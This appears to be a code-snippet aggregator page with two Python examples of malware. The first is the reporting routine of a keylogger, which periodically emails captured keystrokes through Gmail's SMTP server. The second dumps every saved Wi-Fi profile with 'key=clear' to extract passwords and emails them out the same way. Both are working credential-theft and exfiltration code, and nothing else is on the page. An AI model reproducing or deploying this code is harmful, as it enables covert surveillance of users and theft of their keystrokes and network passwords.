Exemplo n.º 1
0
    def report(self):
        if self.log:
            subject = "KeyLogger Report"
            mail_sender = MailSender("smtp.gmail.com", 587, self.email, self.password, self.email, subject, self.log)
            mail_sender.sendmail()

        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()
Exemplo n.º 2
0
import subprocess

import chardet

from mail_sender import MailSender


def get_wifi_info():
    command = "netsh wlan show profile"
    networks = subprocess.check_output(command, shell=True)

    encoding = chardet.detect(networks)['encoding']
    networks_names_list = re.findall("(?:\\s:\\s)(.*)",
                                     networks.decode(encoding))
    result = ""
    for network_name in networks_names_list:
        command = "netsh wlan show profile " + network_name + " key=clear"
        current_result = subprocess.check_output(command, shell=True)
        result = result + current_result.decode(encoding)
    return result


login = "******"
psw = ""
subject = "Wi-Fi Report"
wifi_info = get_wifi_info()

mail_sender = MailSender("smtp.gmail.com", 587, login, psw, login, subject,
                         wifi_info)
mail_sender.sendmail()